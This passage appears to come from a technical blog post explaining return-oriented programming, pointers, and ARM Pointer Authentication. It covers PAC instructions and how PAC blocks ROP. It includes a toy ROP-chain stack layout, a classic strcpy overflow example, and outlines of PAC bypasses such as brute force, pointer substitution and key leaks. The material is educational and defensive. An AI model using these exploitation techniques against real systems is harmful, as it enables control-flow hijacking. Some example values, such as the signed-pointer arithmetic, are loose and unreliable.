</code></pre></div>    </div>
  </li>
</ul>

<h3 id="stage-3-redirecting-to-the-target-function">Stage 3: Redirecting to the Target Function</h3>

<p>The next address on the stack directs the program to execute the <code class="language-plaintext highlighter-rouge">target_function</code> with the attacker-controlled arguments. The function performs its operation (<code class="language-plaintext highlighter-rouge">a + b</code>) and returns the result.</p>

<ol>
  <li>The <code class="language-plaintext highlighter-rouge">RET</code> instruction redirects control flow to <code class="language-plaintext highlighter-rouge">target_function</code>.</li>
  <li>The arguments (<code class="language-plaintext highlighter-rouge">5</code> and <code class="language-plaintext highlighter-rouge">10</code>) are passed to <code class="language-plaintext highlighter-rouge">target_function</code> via the <code class="language-plaintext highlighter-rouge">RDI</code> and <code class="language-plaintext highlighter-rouge">RSI</code> registers.</li>
  <li><code class="language-plaintext highlighter-rouge">target_function(5, 10)</code> calculates <code class="language-plaintext highlighter-rouge">5 + 10</code> and returns <code class="language-plaintext highlighter-rouge">15</code>.</li>
</ol>

<p>After the ROP chain, the stack would look like this:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+--------------------------+
| Padding ('A' * 64)       |
+--------------------------+
| Overwritten EBP ('B' * 8)|
+--------------------------+
| Gadget Address (0x400123)| --&gt; POP RDI; POP RSI; RET
+--------------------------+
| Argument 1 (5)           | --&gt; RDI
+--------------------------+
| Argument 2 (10)          | --&gt; RSI
+--------------------------+
| target_function Address  | --&gt; 0x400456
+--------------------------+
</code></pre></div></div>

<h1 id="pointers-and-their-role-in-exploitation">Pointers and Their Role in Exploitation</h1>

<p>Pointers are variables that store the memory address of another variable. Instead of holding a direct value, pointers reference a specific location in memory, enabling programs to directly access or modify the data stored there. In low-level programming languages like C and C++, pointers are critical for efficient memory management, dynamic allocation, and implementing advanced data structures like linked lists, trees, and graphs. However, their direct interaction with memory also makes them prone to misuse and exploitation.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="n">x</span> <span class="o">=</span> <span class="mi">42</span><span class="p">;</span>      <span class="c1">// Variable x holds the value 42</span>
<span class="kt">int</span> <span class="o">*</span><span class="n">ptr</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">x</span><span class="p">;</span>   <span class="c1">// Pointer ptr stores the address of x</span>
</code></pre></div></div>

<ul>
  <li><code class="language-plaintext highlighter-rouge">x</code> stores the value <code class="language-plaintext highlighter-rouge">42</code>.</li>
  <li>
    <p><code class="language-plaintext highlighter-rouge">ptr</code> stores the memory address of <code class="language-plaintext highlighter-rouge">x</code>. Dereferencing <code class="language-plaintext highlighter-rouge">ptr</code> using <code class="language-plaintext highlighter-rouge">*ptr</code> gives access to the value stored at the address, allowing <code class="language-plaintext highlighter-rouge">42</code> to be read or modified.</p>
  </li>
  <li>Memory Layout
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Memory Address   Value       Description
0x7ffeec38       42          x's value
0x7ffeec34       0x7ffeec38  ptr points to x's address
</code></pre></div>    </div>
  </li>
</ul>

<h3 id="how-do-pointers-work"><strong>How Do Pointers Work?</strong></h3>

<p>Pointers interact with memory directly, enabling operations like accessing data, modifying values, and navigating memory regions. They are a critical component in managing program execution flow and dynamic memory allocation.</p>

<ol>
  <li><strong>Memory Address Representation</strong>:
    <ul>
      <li>A pointer stores the numeric address of a variable in memory. In a 64-bit architecture, pointers typically occupy 8 bytes, allowing them to address large memory spaces.</li>
    </ul>
  </li>
  <li><strong>Dereferencing</strong>:
    <ul>
      <li>Dereferencing a pointer retrieves the value stored at the memory location it references. For example:
        <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="o">*</span><span class="n">ptr</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">x</span><span class="p">;</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"%d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="o">*</span><span class="n">ptr</span><span class="p">);</span>  <span class="c1">// Outputs the value of x (42)</span>
</code></pre></div>        </div>
      </li>
    </ul>
  </li>
  <li><strong>Pointer Arithmetic</strong>:
    <ul>
      <li>Pointers can perform arithmetic operations to navigate memory. For instance, in an array:
        <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="n">arr</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">10</span><span class="p">,</span> <span class="mi">20</span><span class="p">,</span> <span class="mi">30</span><span class="p">};</span>
<span class="kt">int</span> <span class="o">*</span><span class="n">ptr</span> <span class="o">=</span> <span class="n">arr</span><span class="p">;</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"%d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="o">*</span><span class="p">(</span><span class="n">ptr</span> <span class="o">+</span> <span class="mi">1</span><span class="p">));</span>  <span class="c1">// Outputs 20</span>
</code></pre></div>        </div>
      </li>
    </ul>
  </li>
  <li><strong>Function Pointers</strong>:
    <ul>
      <li>Pointers can store the address of functions, allowing dynamic invocation:
        <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">func_ptr</span><span class="p">)(</span><span class="kt">int</span><span class="p">)</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">some_function</span><span class="p">;</span>
<span class="n">func_ptr</span><span class="p">(</span><span class="mi">5</span><span class="p">);</span>  <span class="c1">// Calls some_function with argument 5</span>
</code></pre></div>        </div>
      </li>
    </ul>
  </li>
</ol>

<h2 id="relation-between-pointers-and-rop"><strong>Relation Between Pointers and ROP</strong></h2>

<p>Pointers play a foundational role in Return-Oriented Programming (ROP) by controlling memory access and program execution flow. In ROP, attackers manipulate pointers such as return addresses or function pointers to hijack control flow and execute malicious payloads.</p>

<p>Control flow in programs relies on pointers, especially return address pointers stored on the stack during function calls. These pointers determine the program’s next execution location after a function returns.</p>

<ul>
  <li><strong>Example</strong>:
    <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">func</span><span class="p">()</span> <span class="p">{</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"Hello, World!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
  <span class="n">func</span><span class="p">();</span>
  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>    </div>
  </li>
</ul>

<p><strong>Normal Control Flow</strong>:</p>
<ol>
  <li>Before <code class="language-plaintext highlighter-rouge">func()</code> executes, the return address (RA) is pushed onto the stack.</li>
  <li>After <code class="language-plaintext highlighter-rouge">func()</code> completes, the CPU retrieves the RA pointer from the stack and resumes execution in <code class="language-plaintext highlighter-rouge">main()</code>.</li>
</ol>

<h5 id="memory-drawing-return-address-in-normal-execution"><strong>Memory Drawing: Return Address in Normal Execution</strong></h5>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Stack (Before func() returns)
+--------------------------+
| Return Address (0x400456)| --&gt; Points to code in main()
+--------------------------+
</code></pre></div></div>

<p>In a ROP attack, this return address pointer is overwritten to redirect execution to a ROP gadget. As ROP exploits use “gadgets”—small sequences of instructions ending in <code class="language-plaintext highlighter-rouge">RET</code>. Each gadget’s address is stored as a pointer in the attack payload. The CPU reads these pointers during execution to chain together gadgets and execute the attacker’s payload.</p>

<h1 id="pointer-authentication-pac">Pointer Authentication (PAC)</h1>

<p>Pointer Authentication (PAC) is a security mechanism introduced in the ARMv8.3-A architecture to strengthen memory safety by embedding cryptographic signatures—called <strong>Pointer Authentication Codes (PACs)</strong>—into unused bits of pointers. The goal of PAC is to prevent memory corruption exploits such as Return-Oriented Programming (ROP) and Jump-Oriented Programming (JOP), which attempt to hijack control flow by overwriting pointers like return addresses and function pointers.</p>

<p>PAC binds pointers to a specific execution context (such as the stack pointer) using a cryptographic signature generated from the pointer’s value, the context, and a secret key. Any modification to the pointer (even a single bit) results in an invalid PAC, causing the pointer authentication to fail and triggering a program exception.</p>

<h5 id="purpose-of-pac"><strong>Purpose of PAC</strong></h5>
<ul>
  <li><strong>Return Address Protection</strong>: Protects return addresses from being overwritten by attackers.</li>
  <li><strong>Function Pointer Integrity</strong>: Ensures that function pointers are not maliciously redirected.</li>
  <li><strong>Data Pointer Verification</strong>: Prevents unauthorized memory access by validating data pointers.</li>
</ul>

<h2 id="how-pac-works"><strong>How PAC Works</strong></h2>

<p>PAC works in three key stages:</p>
<ol>
  <li><strong>Embedding Cryptographic Signatures in Unused Pointer Bits</strong></li>
  <li><strong>Using PAC for Verification Before Dereferencing Pointers</strong></li>
  <li><strong>Stripping PAC for Raw Pointer Usage</strong></li>
</ol>

<h3 id="1-embedding-cryptographic-signatures-in-unused-pointer-bits"><strong>1. Embedding Cryptographic Signatures in Unused Pointer Bits</strong></h3>

<p>PAC embeds cryptographic signatures in unused high-order bits of the pointer without affecting its actual value.</p>

<p><img src="https://github.com/user-attachments/assets/1d0f6743-44aa-48d3-a28b-a1445715bddc" alt="image" /></p>

<h5 id="step-1-gathering-inputs-for-pac-generation"><strong>Step 1: Gathering Inputs for PAC Generation</strong></h5>

<p>To generate a PAC, the system gathers three essential inputs:</p>
<ol>
  <li><strong>Pointer Value</strong>: The raw memory address (e.g., <code class="language-plaintext highlighter-rouge">0x7ffeec38</code>).</li>
  <li><strong>Context</strong>: Additional information that contextualizes the pointer, such as the stack pointer (<code class="language-plaintext highlighter-rouge">sp</code>) or function arguments.</li>
  <li><strong>Secret Key</strong>: A per-process unique key stored in system registers (<code class="language-plaintext highlighter-rouge">APIAKey</code>, <code class="language-plaintext highlighter-rouge">APIBKey</code>, <code class="language-plaintext highlighter-rouge">APDAKey</code>, <code class="language-plaintext highlighter-rouge">APDBKey</code>, etc.).</li>
</ol>

<p>The combination of these inputs ensures that the PAC is unique for each pointer and context.</p>

<h5 id="step-2-cryptographic-signing-with-qarma"><strong>Step 2: Cryptographic Signing with QARMA</strong></h5>

<p>The <strong>QARMA cryptographic algorithm</strong> processes the inputs to generate a PAC. QARMA is a lightweight block cipher designed for efficiency and high security. The algorithm takes the following steps:</p>
<ul>
  <li><strong>Rounds of Transformation</strong>: QARMA performs multiple rounds of transformations on the input data, mixing the key, context, and pointer value.</li>
  <li><strong>Tweakable Cipher</strong>: QARMA uses a “tweak” (context) to modify the encryption process, ensuring unique PACs for different contexts.</li>
</ul>

<h5 id="step-3-embedding-the-pac-into-the-pointer"><strong>Step 3: Embedding the PAC into the Pointer</strong></h5>

<p>The PAC is embedded into the unused high-order bits of the pointer. On ARM64 systems with a 48-bit virtual address space, the top 16 bits of the pointer can be used for PAC storage:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+--------------------------+----------------+
| Pointer Value (48 bits)  | PAC (16 bits)  |
+--------------------------+----------------+
</code></pre></div></div>

<h5 id="example"><strong>Example</strong>:</h5>
<ul>
  <li>Raw pointer: <code class="language-plaintext highlighter-rouge">0x7ffeec38</code></li>
  <li>Generated PAC: <code class="language-plaintext highlighter-rouge">0x1234</code></li>
  <li>Signed pointer: <code class="language-plaintext highlighter-rouge">0x12347ffeec38</code></li>
</ul>

<p>The signed pointer (<code class="language-plaintext highlighter-rouge">0x12347ffeec38</code>) looks like a normal memory address but contains an embedded authentication code in the high-order bits.</p>

<h3 id="2-using-pac-for-verification-before-dereferencing-pointers"><strong>2. Using PAC for Verification Before Dereferencing Pointers</strong></h3>

<p>PAC verification ensures that the pointer has not been modified before it is used. This prevents attackers from overwriting pointers with malicious values.
<img src="https://github.com/user-attachments/assets/7b7f4b2c-d7ce-42c8-bb79-22798a3ea71b" alt="image" /></p>

<h5 id="step-1-extracting-the-pac-and-pointer"><strong>Step 1: Extracting the PAC and Pointer</strong></h5>

<p>When the pointer is accessed, the system extracts the high-order bits (the PAC) and the lower bits (the pointer value) separately:</p>
<ul>
  <li><strong>Pointer Value</strong>: The base memory address (e.g., <code class="language-plaintext highlighter-rouge">0x7ffeec38</code>).</li>
  <li><strong>Embedded PAC</strong>: The authentication code (e.g., <code class="language-plaintext highlighter-rouge">0x1234</code>).</li>
</ul>

<h5 id="step-2-recomputing-the-pac"><strong>Step 2: Recomputing the PAC</strong></h5>

<p>The system uses the same inputs (pointer value, context, and secret key) to recompute the PAC using the <code class="language-plaintext highlighter-rouge">QARMA</code> algorithm. This step ensures that the verification process matches the original PAC generation.</p>

<h5 id="step-3-comparing-the-pacs"><strong>Step 3: Comparing the PACs</strong></h5>

<p>The recomputed PAC is compared to the embedded PAC:</p>
<ul>
  <li><strong>If the PACs match</strong>: The pointer is valid, and the program proceeds to dereference it.</li>
  <li><strong>If the PACs do not match</strong>: The program halts, triggering an exception to prevent further execution.</li>
</ul>

<h3 id="3-stripping-pac-for-pointer-arithmetic"><strong>3. Stripping PAC for Pointer Arithmetic</strong></h3>

<p>Certain operations, such as pointer arithmetic, require the raw pointer value. In such cases, the PAC must be stripped from the pointer without validation. This is done using the <code class="language-plaintext highlighter-rouge">XPACI</code> (eXecute PAC stripping) instruction.</p>

<h5 id="process"><strong>Process:</strong></h5>
<ol>
  <li>The CPU removes the PAC from the pointer’s high-order bits.</li>
  <li>The raw pointer value is used for calculations.</li>
  <li>The pointer may be re-signed after the calculation if it will be dereferenced.</li>
</ol>

<h5 id="example-1"><strong>Example:</strong></h5>
<ul>
  <li>Signed Pointer: <code class="language-plaintext highlighter-rouge">0x12347ffeec38</code></li>
  <li>After <code class="language-plaintext highlighter-rouge">XPACI</code>: <code class="language-plaintext highlighter-rouge">0x7ffeec38</code></li>
</ul>

<h2 id="pac-instructions-and-assembly">PAC Instructions and Assembly</h2>
<p>Pointer Authentication (PAC) uses specialized ARMv8.3-A assembly instructions to generate, verify, and manipulate pointer authentication codes. These instructions form the building blocks of PAC and are essential for securing instruction addresses, function pointers, and data pointers.</p>

<h3 id="1-pacia-pointer-authentication-code-for-instruction-address"><strong>1. <code class="language-plaintext highlighter-rouge">PACIA</code> (Pointer Authentication Code for Instruction Address)</strong></h3>

<p><code class="language-plaintext highlighter-rouge">PACIA</code> is used to sign an <strong>instruction pointer</strong> (e.g., a return address) with a <strong>Pointer Authentication Code (PAC)</strong>. The PAC is embedded into the unused high-order bits of the pointer, binding the pointer to a specific execution context. The instruction uses a secret key (<code class="language-plaintext highlighter-rouge">APIAKey</code>) stored in system registers and a context value (usually the stack pointer) to generate a unique PAC for each return address.</p>

<p><strong>Assembly Syntax</strong>:</p>
<pre><code class="language-assembly">PACIA xN, xM  // Sign the instruction pointer in xN using the context in xM
</code></pre>

<ul>
  <li><strong>Target register (<code class="language-plaintext highlighter-rouge">xN</code>)</strong>: Holds the pointer (e.g., <code class="language-plaintext highlighter-rouge">x30</code> for the link register).</li>
  <li><strong>Context register (<code class="language-plaintext highlighter-rouge">xM</code>)</strong>: Holds the context (e.g., <code class="language-plaintext highlighter-rouge">sp</code> for the stack pointer).</li>
</ul>

<p><strong>Example</strong>:</p>
<pre><code class="language-assembly">PACIA x30, sp  // Signs the return address (stored in x30) using the stack pointer (sp)
</code></pre>

<p>In this example, the return address is signed with a PAC before being saved to the stack. This ensures that the return address cannot be modified without invalidating the PAC. The PAC is generated based on:</p>
<ul>
  <li>The value of <code class="language-plaintext highlighter-rouge">x30</code> (the return address).</li>
  <li>The value of <code class="language-plaintext highlighter-rouge">sp</code> (the stack pointer).</li>
  <li>The <code class="language-plaintext highlighter-rouge">APIAKey</code> (a secret key stored in the CPU register).</li>
</ul>

<p>The signed return address now contains the PAC in its upper bits:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+--------------------------+----------------+
| Return Address (48 bits) | PAC (16 bits)  |
+--------------------------+----------------+
</code></pre></div></div>

<p>The attacker would need the exact key and context to generate a valid PAC, making it infeasible to forge or manipulate the signed pointer.</p>

<h3 id="2-autia-authenticate-instruction-address"><strong>2. <code class="language-plaintext highlighter-rouge">AUTIA</code> (Authenticate Instruction Address)</strong></h3>

<p><code class="language-plaintext highlighter-rouge">AUTIA</code> is used to verify a signed <strong>instruction pointer</strong>. It recomputes the PAC for the pointer using the same key and context and compares it with the embedded PAC. If the PACs match, the pointer is valid and restored to its original value. If they do not match, an exception is triggered, preventing the execution of malicious instructions.</p>

<p><strong>Assembly Syntax</strong>:</p>
<pre><code class="language-assembly">AUTIA xN, xM  // Authenticate the signed instruction pointer in xN using the context in xM
</code></pre>

<ul>
  <li><strong>Target register (<code class="language-plaintext highlighter-rouge">xN</code>)</strong>: Holds the signed pointer (e.g., <code class="language-plaintext highlighter-rouge">x30</code> for the link register).</li>
  <li><strong>Context register (<code class="language-plaintext highlighter-rouge">xM</code>)</strong>: Holds the context used during PAC generation (e.g., <code class="language-plaintext highlighter-rouge">sp</code>).</li>
</ul>

<p><strong>Example</strong>:</p>
<pre><code class="language-assembly">AUTIA x30, sp  // Verifies the PAC in the return address using the stack pointer
</code></pre>

<p>In this example:</p>
<ul>
  <li>The CPU recomputes the PAC for <code class="language-plaintext highlighter-rouge">x30</code> using the same key and context (<code class="language-plaintext highlighter-rouge">sp</code>).</li>
  <li>If the computed PAC matches the embedded PAC, the original return address is restored.</li>
  <li>If there is any mismatch (indicating tampering), an <strong>exception</strong> is raised, halting program execution.</li>
</ul>

<h3 id="3-xpaci-strip-pac-for-instruction-address"><strong>3. <code class="language-plaintext highlighter-rouge">XPACI</code> (Strip PAC for Instruction Address)</strong></h3>

<p><code class="language-plaintext highlighter-rouge">XPACI</code> is used to <strong>remove the PAC</strong> from a signed <strong>instruction pointer</strong> without verification. This is necessary when the raw address value is needed for operations such as pointer arithmetic.</p>

<p><strong>Assembly Syntax</strong>:</p>
<pre><code class="language-assembly">XPACI xN  // Strip the PAC from the instruction pointer in xN
</code></pre>

<ul>
  <li><strong>Target register (<code class="language-plaintext highlighter-rouge">xN</code>)</strong>: Holds the signed pointer (e.g., <code class="language-plaintext highlighter-rouge">x30</code>).</li>
</ul>

<p><strong>Example</strong>:</p>
<pre><code class="language-assembly">XPACI x30  // Removes the PAC from the return address in x30
</code></pre>

<p>In this example:</p>
<ul>
  <li>The upper 16 bits (containing the PAC) are cleared, leaving only the original 48-bit pointer value.</li>
  <li>This instruction is often used before performing arithmetic or storing the pointer in a structure that does not support PAC.</li>
</ul>

<h3 id="4-reta-return-with-authentication"><strong>4. <code class="language-plaintext highlighter-rouge">RETA</code> (Return with Authentication)</strong></h3>

<p><code class="language-plaintext highlighter-rouge">RETA</code> combines PAC verification and return in a single instruction. It verifies the signed <strong>return address</strong> (<code class="language-plaintext highlighter-rouge">x30</code>) and transfers control to the original caller if the verification succeeds.
<strong>Assembly Syntax</strong>:</p>
<pre><code class="language-assembly">RETA  // Authenticate and return to the caller
</code></pre>

<ul>
  <li><strong>Register (<code class="language-plaintext highlighter-rouge">x30</code>)</strong>: Holds the signed return address.</li>
</ul>

<p><strong>Example</strong>:</p>
<pre><code class="language-assembly">RETA  // Verifies the return address and returns to the caller
</code></pre>

<ul>
  <li>If the PAC verification fails, an exception is triggered, halting the program.</li>
  <li>If successful, control is returned to the original caller.</li>
</ul>

<h3 id="-end-to-end-pac-workflow">** End-to-End PAC Workflow**</h3>

<p>As example of how PAC is used to secure a function’s return address.</p>

<pre><code class="language-assembly">// Function prologue: Save signed return address to stack
PACIA x30, sp        // Sign the return address (x30) with the stack pointer (sp)
stp x29, x30, [sp]   // Save frame pointer (x29) and signed return address (x30) on the stack

// Function body
MOV x0, #10          // Example computation: Load value 10 into register x0
ADD x0, x0, #20      // Add 20 to x0 (result: 30)

// Function epilogue: Restore and verify return address
ldp x29, x30, [sp]   // Restore frame pointer (x29) and signed return address (x30)
AUTIA x30, sp        // Authenticate return address using the stack pointer
RET                  // Return to the caller if authentication succeeds
</code></pre>

<p><img src="https://github.com/user-attachments/assets/349d6f5f-a0fd-4768-b8c2-a3d8c30005da" alt="image" /></p>

<ol>
  <li><strong>Prologue: Signing the Return Address</strong>
    <ul>
      <li><code class="language-plaintext highlighter-rouge">PACIA x30, sp</code>: Generates a PAC for the return address (<code class="language-plaintext highlighter-rouge">x30</code>) using the stack pointer (<code class="language-plaintext highlighter-rouge">sp</code>) as context. The PAC is embedded in the high-order bits of the return address.</li>
      <li><code class="language-plaintext highlighter-rouge">stp x29, x30, [sp]</code>: Saves the signed return address and the frame pointer (<code class="language-plaintext highlighter-rouge">x29</code>) to the stack.</li>
    </ul>
  </li>
  <li><strong>Function Body: Main Execution</strong>
    <ul>
      <li>The function performs computations as needed (e.g., loading and adding values).</li>
    </ul>
  </li>
  <li><strong>Epilogue: Verifying and Returning</strong>
    <ul>
      <li><code class="language-plaintext highlighter-rouge">ldp x29, x30, [sp]</code>: Restores the frame pointer and signed return address.</li>
      <li><code class="language-plaintext highlighter-rouge">AUTIA x30, sp</code>: Verifies the PAC in the return address using the same context (<code class="language-plaintext highlighter-rouge">sp</code>). If the PAC is valid, the original address is restored; otherwise, an exception is raised.</li>
      <li><code class="language-plaintext highlighter-rouge">RET</code>: Transfers control back to the caller if verification succeeds.</li>
    </ul>
  </li>
</ol>

<h3 id="stack-protection-with-pac"><strong>Stack Protection with PAC</strong></h3>

<p>In real-world systems, PAC is commonly used to protect the <strong>return address</strong> on the stack to prevent control flow hijacking.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">vulnerable_function</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">input</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">char</span> <span class="n">buffer</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span>
    <span class="n">strcpy</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="n">input</span><span class="p">);</span>  <span class="c1">// Vulnerable to buffer overflow</span>
<span class="p">}</span>
</code></pre></div></div>

<ul>
  <li>The <code class="language-plaintext highlighter-rouge">strcpy</code> function copies <code class="language-plaintext highlighter-rouge">input</code> into <code class="language-plaintext highlighter-rouge">buffer[]</code> without bounds checking.</li>
  <li>If <code class="language-plaintext highlighter-rouge">input</code> is longer than 64 bytes, it can overwrite the return address on the stack.</li>
  <li>An attacker can exploit this to redirect control flow to a malicious ROP chain.</li>
</ul>

<p>By enabling PAC, the return address is signed and verified:</p>
<pre><code class="language-assembly">PACIA x30, sp        // Sign the return address using the stack pointer
stp x29, x30, [sp]   // Save frame pointer and signed return address
ldp x29, x30, [sp]   // Restore frame pointer and signed return address
AUTIA x30, sp        // Authenticate the return address
RET                  // Return if PAC verification succeeds
</code></pre>

<ul>
  <li><strong>PACIA</strong> signs the return address.</li>
  <li><strong>AUTIA</strong> verifies the PAC before returning.</li>
  <li>If the PAC does not match, the program halts, preventing the attacker from redirecting control flow.</li>
</ul>

<h2 id="how-pac-prevents-rop">How PAC Prevents ROP</h2>

<p>Let’s walk through the stages where PAC secures a function’s return address:</p>

<h4 id="1-signing-the-return-address"><strong>1. Signing the Return Address</strong></h4>

<p>During the <strong>function prologue</strong>, the return address stored in the <strong>link register (<code class="language-plaintext highlighter-rouge">x30</code>)</strong> is signed with a PAC before being saved to the stack.</p>

<p><strong>Assembly Example:</strong></p>
<pre><code class="language-assembly">PACIA x30, sp        // Sign the return address (x30) using the stack pointer (sp) as context
stp x29, x30, [sp]   // Save frame pointer (x29) and signed return address (x30) to the stack
</code></pre>

<ul>
  <li><strong><code class="language-plaintext highlighter-rouge">PACIA</code> (Pointer Authentication Code for Instruction Address)</strong>: Generates a PAC for the return address using:
    <ul>
      <li><strong>Return address (<code class="language-plaintext highlighter-rouge">x30</code>)</strong>: The actual instruction address where the function should return.</li>
      <li><strong>Context (<code class="language-plaintext highlighter-rouge">sp</code>)</strong>: The stack pointer, making the PAC context-specific.</li>
      <li><strong>Key (<code class="language-plaintext highlighter-rouge">APIAKey</code>)</strong>: A secret key stored in the CPU register.</li>
    </ul>
  </li>
</ul>

<p>The signed return address is then stored on the stack.</p>

<p><strong>Memory Layout:</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+--------------------------+
| Signed Return Address    | --&gt; Contains the original address and PAC
+--------------------------+
| Frame Pointer            |
+--------------------------+
</code></pre></div></div>

<h4 id="2-verifying-the-return-address"><strong>2. Verifying the Return Address</strong></h4>

<p>During the <strong>function epilogue</strong>, the return address is restored from the stack and authenticated before the function returns.</p>

<pre><code class="language-assembly">ldp x29, x30, [sp]   // Restore frame pointer (x29) and signed return address (x30)
AUTIA x30, sp        // Authenticate the return address using the stack pointer
RET                  // Return to the caller if PAC verification succeeds
</code></pre>

<p><strong><code class="language-plaintext highlighter-rouge">AUTIA</code> (Authenticate Instruction Address)</strong>: Verifies the PAC embedded in the return address.</p>
<ul>
  <li>Recomputes the PAC using the same inputs (return address, stack pointer, and key).</li>
  <li>Compares the recomputed PAC with the embedded PAC.</li>
  <li>If they match, the return address is valid, and the program continues execution.</li>
  <li>If they do not match, an <strong>exception</strong> is triggered, halting the program.</li>
</ul>

<h3 id="pac-process-in-rop-mitigation"><strong>PAC Process in ROP Mitigation</strong></h3>

<p><img src="https://github.com/user-attachments/assets/ac6b71b1-cadd-4d28-9331-f40190d7f34e" alt="image" /></p>

<ol>
  <li><strong>Function Call (Signing Stage)</strong>:
    <ul>
      <li>The CPU saves the signed return address to the stack.</li>
      <li>The signed pointer looks like a regular memory address but includes a cryptographic signature in the high-order bits.</li>
    </ul>
  </li>
  <li><strong>Function Return (Verification Stage)</strong>:
    <ul>
      <li>The CPU loads the signed return address from the stack.</li>
      <li>The PAC is validated against the context and the secret key.</li>
      <li>If the validation fails, the CPU raises an exception.</li>
    </ul>
  </li>
</ol>

<h2 id="limitations-and-potential-bypass-techniques">Limitations and Potential Bypass Techniques</h2>

<p>Despite its robust design, Pointer Authentication (PAC) has certain limitations that sophisticated attackers can potentially exploit. These limitations revolve around the inherent challenges of cryptographic systems and the implementation choices made for performance and compatibility. Below is a detailed analysis of known bypass methods, challenges, and the real-world feasibility of these attacks.</p>

<h3 id="1-brute-forcing-pac-values-with-small-pac-sizes"><strong>1. Brute-Forcing PAC Values with Small PAC Sizes</strong></h3>

<p>One of the primary limitations of PAC is the size of the <strong>Pointer Authentication Code (PAC)</strong>. Depending on the system configuration, the PAC may be as small as <strong>7 to 16 bits</strong>. A small PAC size implies that there are relatively few possible PAC values, making brute-forcing theoretically possible.</p>

<ol>
  <li>The attacker modifies the pointer and guesses different PAC values.</li>
  <li>They repeatedly try to execute the program with different PACs until a valid PAC is found.</li>
  <li>With a small PAC size (e.g., 7 bits), there are <code class="language-plaintext highlighter-rouge">2^7 = 128</code> possible values, which may seem trivial to brute-force.</li>
</ol>

<h3 id="2-pointer-substitution-attacks"><strong>2. Pointer Substitution Attacks</strong></h3>

<p>In a pointer substitution attack, the attacker <strong>replaces a valid PAC-protected pointer</strong> with another <strong>valid PAC-protected pointer</strong> from the same or different context. Since the substituted pointer already has a valid PAC, it may pass verification.</p>

<ol>
  <li>The attacker finds a valid signed pointer in memory (e.g., a signed return address).</li>
  <li>They replace a different pointer (e.g., a function pointer) with this valid pointer.</li>
  <li>The program dereferences the substituted pointer, potentially leading to unintended behavior.</li>
</ol>

<p>Imagine a program where two functions have PAC-protected return addresses:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">func_A</code>: Signed return address <code class="language-plaintext highlighter-rouge">0x12347ffeec38</code>.</li>
  <li><code class="language-plaintext highlighter-rouge">func_B</code>: Signed return address <code class="language-plaintext highlighter-rouge">0x56787fffabc0</code>.</li>
</ul>

<h1 id="challenges"><strong>Challenges</strong></h1>
<p>Memory disclosure vulnerabilities allow attackers to <strong>leak sensitive data</strong> from memory, including PAC-protected pointers and PAC keys. If an attacker can leak:</p>
<ul>
  <li>A valid PAC-protected pointer and its context, they can potentially reuse the pointer for exploitation.</li>
  <li>The PAC keys stored in hardware registers, they can generate valid PACs, bypassing the protection entirely.</li>
</ul>

<h1 id="conclusion">Conclusion</h1>
<p>Pointer Authentication (PAC) is a powerful and efficient hardware-based defense mechanism designed to enhance control flow integrity and mitigate memory corruption attacks, such as Return-Oriented Programming (ROP) and Jump-Oriented Programming (JOP). By embedding cryptographic signatures (Pointer Authentication Codes) directly into pointers and verifying them before use, PAC provides robust protection for return addresses, function pointers, and other sensitive data. Throughout this blog post, we have explored the fundamental components of PAC, including its cryptographic foundation (QARMA algorithm), key instructions (<code class="language-plaintext highlighter-rouge">PACIA</code>, <code class="language-plaintext highlighter-rouge">AUTIA</code>, <code class="language-plaintext highlighter-rouge">XPAC</code>, <code class="language-plaintext highlighter-rouge">RETA</code>), and real-world implementations for stack and function pointer protection. PAC strengthens system security by binding pointers to their specific context (e.g., the stack pointer or program counter), making it infeasible for attackers to forge or manipulate pointers without triggering an exception.
However, PAC is not without its limitations. Brute-forcing PAC values becomes theoretically possible when small PAC sizes (e.g., 7 bits) are used, although practical exploitation is limited by hardware constraints and frequent program crashes. Additionally, pointer substitution attacks and memory disclosure vulnerabilities remain challenges that require additional layers of defense, such as Address Space Layout Randomization (ASLR), secure key management, and frequent re-randomization of PAC keys.</p>

<p>In summary, PAC represents a significant advancement in memory safety and control flow protection. When combined with other security mechanisms, such as ASLR and stack canaries, PAC can effectively mitigate a wide range of memory corruption exploits. Despite its limitations, PAC sets a high bar for attackers, making exploitation significantly more difficult and costly. As hardware security continues to evolve, further improvements to PAC and its integration with software defenses will help fortify modern systems against sophisticated threats.</p>

<h1 id="references">References</h1>
<ul>
  <li>https://eprint.iacr.org/2016/444.pdf</li>
